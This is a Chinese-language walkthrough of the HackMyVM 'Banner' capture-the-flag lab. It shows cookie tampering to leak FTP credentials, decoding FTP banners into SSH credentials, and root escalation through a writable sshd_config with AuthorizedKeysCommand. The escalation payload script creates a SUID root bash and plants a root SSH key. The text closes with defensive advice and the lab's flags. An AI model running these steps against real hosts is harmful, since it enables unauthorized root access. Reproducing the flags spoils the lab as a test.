HackMyVM Banner 通关记录|Web 答题提示、FTP 线索与 sshd 配置提权
靶机链接:Banner
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| Banner | 192.168.1.117 | hostname: Banner |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 21/tcp FTP、22/tcp SSH、8080/tcp Flask | 确定 FTP 和 Web 为主要线索入口 |
| Web 提示 | 篡改 user_score Cookie,提交正确答案 | 响应头返回 X-Flag: 111:banner |
| FTP 凭证 | 111:banner 登录 FTP | chroot 目录只留下 hint |
| 线索拼接 | 五条旋转 banner 取缩写 | 得到 welcome:mazesec,拆出 SSH 凭证 |
| 初始访问 | welcome:mazesec 登录 SSH | 读取 User Flag |
| 配置提权 | sudo service sshd restart + 可写 sshd_config | 让 sshd 加载自定义 AuthorizedKeysCommand |
| root 执行 | AuthorizedKeysCommandUser root 调用 /bin/bash | 以 root 执行 welcome 可写脚本 |
| 最终成果 | root 所有的 SUID bash | 获取 Root Flag |
0x02 端口扫描
先使用 RustScan 做全端口发现,再用 Nmap 进行服务识别:
rustscan -a 192.168.1.117 --range 1-65535 -b 1500 --timeout 5000 -g
nmap -sV -sC -p 21,22,8080 192.168.1.117
RustScan 发现:
192.168.1.117 -> [21, 22, 8080]
Nmap 结果摘要:
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 8.4p1 (Debian)
8080/tcp open http Werkzeug httpd 3.1.6 (Python 3.9.2)
| 端口 | 服务 | 指纹 / 判断 |
|---|---|---|
21/tcp | FTP | vsftpd,后续用于验证 Web 泄露的提示值 |
22/tcp | SSH | OpenSSH 8.4p1,获得凭证后作为初始访问入口 |
8080/tcp | HTTP | Werkzeug/Flask 答题系统,优先检查 API |
0x03 Web 答题系统
1. API 面枚举
对 8080 端口下的 API 路径进行枚举:
ffuf -u http://192.168.1.117:8080/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc all
已确认的端点:
| 端点 | 方法 / 状态 | 观察 |
|---|---|---|
/api/questions | GET 200 | 返回题目和答案字段 |
/api/submit | POST | 提交答案并更新分数 |
/api/debug | GET 200 | 返回应用路径与数据文件位置 |
/api/health | GET 200 | 服务状态检查 |
/api/stats | GET 200 | 统计信息 |
/api/upload | POST | 上传逻辑存在文件名路径穿越风险 |
/api/debug 泄露了应用结构:
应用:/opt/ctf-game/main.py
上传目录:/opt/ctf-game/uploads/
数据库:/opt/ctf-game/data/users.db
分数文件:/opt/ctf-game/data/scores.json
2. 篡改 Cookie 获取提示值
前端把当前分数保存在 user_score Cookie 中,服务端提交接口直接依据该值继续计算。先从 /api/stats 确认 target_score=1000,单题得分为 10;再从 /api/questions 读取第 1 题答案为 A,所以把 user_score 设为 990,提交这一题后正好达到目标分数:
curl -s -X POST http://192.168.1.117:8080/api/submit \
-H 'Content-Type: application/json' \
-H 'Cookie: user_score=990' \
-d '{"id":1,"answer":"A"}' -D -
响应头返回:
X-Flag: 111:banner
这里的值不是最终 flag,而是后续服务认证线索。格式可以先按 用户:密码 处理:
用户:111
密码:banner
3. 其他 Web 线索
错误回溯暴露 Werkzeug 调试信息和源码路径。上传接口把客户端提供的文件名直接拼接到上传目录:
file.save('/opt/ctf-game/uploads/' + file.filename)
因此 /api/upload 还存在 ../ 路径穿越写文件风险。不过本机主线不需要依赖该漏洞,X-Flag 提供的 FTP 线索已经足够继续推进。
0x04 FTP 凭证与 Banner 线索
1. 使用提示值登录 FTP
USER 111
PASS banner
服务端返回:
331 Please specify the password.
230 Login successful.
FTP 会话被 chroot 到 /home/welcome,目录里只有一个提示文件:
你知道什么是banner吗?
2. 观察旋转 Banner
重复连接 FTP 或观察服务响应,可以得到几组会变化的 banner:
Amazing Zebras Eat
Snakes Eat Crickets
Wild Elephants Love
Clever Owls Make
Elephants : Mice
提示中的 banner 和 observe the changes 指向“观察每次变化并取缩写”。取每行单词首字母:
| Banner | 缩写 |
|---|---|
Wild Elephants Love | WEL |
Clever Owls Make | COM |
Amazing Zebras Eat | AZE |
Snakes Eat Crickets | SEC |
Elephants : Mice | E : M(提示使用冒号分隔) |
前四组缩写拼接后得到主体字符串,最后一组用首字母形式明确了用户名和密码之间的分隔符: (这里复现会发现正确的顺序)
WEL + COM + E:M + AZE + SEC = welcome:mazesec
E : M = 使用冒号分隔用户名和密码
把它拆成用户和密码:
welcome : mazesec
0x05 SSH 初始访问与 User Flag
使用推导出的凭证登录 SSH:
ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
welcome@192.168.1.117
登录密码:
mazesec
确认身份:
id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
读取 User Flag:
cat /home/welcome/user.txt
flag{user-509fe78ad30da7792f576cd3a91a57fc}
0x06 sshd 配置提权
1. sudo 权限
sudo -l
关键输出:
User welcome may run the following commands on Banner:
(root) NOPASSWD: /sbin/service sshd restart
这条规则本身不等于直接 root,但它允许 welcome 以 root 身份重新加载 SSH 服务配置,需要继续检查 sshd 配置和相关常驻脚本。
2. 找到可写配置和监控脚本
发现 root 运行的监控进程:
root 349 /bin/bash /usr/local/bin/sshd_config_monitor.sh
检查文件权限:
ls -la /etc/ssh/sshd_config
cat /usr/local/bin/sshd_config_monitor.sh
sshd_config 权限为 666,welcome 可以直接写入。监控脚本用 inotifywait 观察文件变化,发现修改后执行:
grep -v -i "banner"删除包含banner的行。- 备份原文件到
/etc/ssh/sshd_config.backup.<时间戳>。 - 把过滤后的临时文件写回配置,并恢复属主和权限。
关键缺陷是:它只删除带有 banner 的行,不会清理 AuthorizedKeysCommand 和 AuthorizedKeysCommandUser。
3. 成功路线:使用 root 拥有的 /bin/bash 作为命令前缀
sshd 对 AuthorizedKeysCommand 的安全检查针对可执行程序本身。把 root 拥有的 /bin/bash 作为程序,把 welcome 可写的脚本作为参数,并指定 AuthorizedKeysCommandUser root:
AuthorizedKeysCommand /bin/bash /home/welcome/getroot.sh
AuthorizedKeysCommandUser root
这样既满足程序路径检查,又能让脚本以 root 身份执行。
Step 1:准备 welcome 可写的 payload
cat > /home/welcome/getroot.sh <<'__PAYLOAD__'
#!/bin/bash
cp /bin/bash /home/welcome/rootbash
chown root:root /home/welcome/rootbash
chmod 4755 /home/welcome/rootbash
mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFVAvvWwgMwUgM9uiTXBcWGu6RcOMI4Lq/rd+5k1E7Ao rootkey" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
exit 0
__PAYLOAD__
chmod 755 /home/welcome/getroot.sh
Step 2:改写 sshd_config
cat > /etc/ssh/sshd_config <<'__SSHD_CONFIG__'
Port 22
ListenAddress 0.0.0.0
PermitRootLogin yes
PasswordAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysCommand /bin/bash /home/welcome/getroot.sh
AuthorizedKeysCommandUser root
__SSHD_CONFIG__
监控脚本会处理一次文件变化,但这些指令不包含 banner,因此仍会保留:
grep -E 'AuthorizedKeysCommand|AuthorizedKeysCommandUser' /etc/ssh/sshd_config
Step 3:利用 sudo 重启 sshd
sudo /sbin/service sshd restart
Step 4:触发 AuthorizedKeysCommand
只要进行一次公钥认证尝试,sshd 就会调用 AuthorizedKeysCommand 读取候选公钥。即使最后因为密钥不匹配而认证失败,命令已经被执行:
ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=publickey \
-o IdentitiesOnly=yes \
-i ./rootkey \
root@192.168.1.117 'id'
Step 5:验证 root 属主的 SUID bash
ls -la /home/welcome/rootbash
结果:
-rwsr-xr-x 1 root root ... /home/welcome/rootbash
使用 -p 保留有效 UID:
/home/welcome/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(welcome) gid=1000(welcome) euid=0(root) groups=1000(welcome)
flag{root-fc7fb423367bb7fccb411758f06f857a}
0x07 提权原理总结
| 组件 | 作用 |
|---|---|
sudo /sbin/service sshd restart | 允许 welcome 以 root 重启 sshd |
/etc/ssh/sshd_config 权限 666 | welcome 可以直接写入配置 |
sshd_config_monitor.sh | 只删除含 banner 的行,未做指令白名单 |
AuthorizedKeysCommand /bin/bash <脚本> | 用 root 拥有的合法程序加载可写脚本 |
AuthorizedKeysCommandUser root | 让 sshd 以 root 执行命令 |
/home/welcome/getroot.sh | welcome 可写,内容可以自定义 |
| root 属主 SUID bash | bash -p 后 EUID 为 0,获得 root 权限 |
0x08 防御建议
- 将
/etc/ssh/sshd_config权限恢复为 root 可写、其他用户不可写,建议使用0644或更严格的权限。 - 不要允许普通用户通过
sudo无条件重启 SSH 服务;如果必须允许,使用经过审计的 wrapper 并限制配置来源。 - 对
AuthorizedKeysCommand使用固定的 root-owned 程序和 root-owned 脚本,禁止引用用户可写目录。 - 监控配置文件时采用允许列表和语法校验,而不是只删除某一个关键词。
- 关闭生产环境中的调试接口,服务端不要信任客户端 Cookie 中的分数或权限状态。
- 上传文件时固定保存目录,使用
basename、路径规范化和扩展名白名单阻断../路径穿越。
0x09 最终成果 (Final Flags)
User Flag
- 路径:
/home/welcome/user.txt - 内容:
flag{user-509fe78ad30da7792f576cd3a91a57fc}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-fc7fb423367bb7fccb411758f06f857a}
已获凭证与成果总结
| 服务 / 项目 | 凭证或结果 |
|---|---|
| FTP | 111 / banner,chroot 到 /home/welcome |
| SSH | welcome / mazesec |
| User Flag | /home/welcome/user.txt |
| Root 入口 | /home/welcome/rootbash -p |
| Root Flag | /root/root.txt |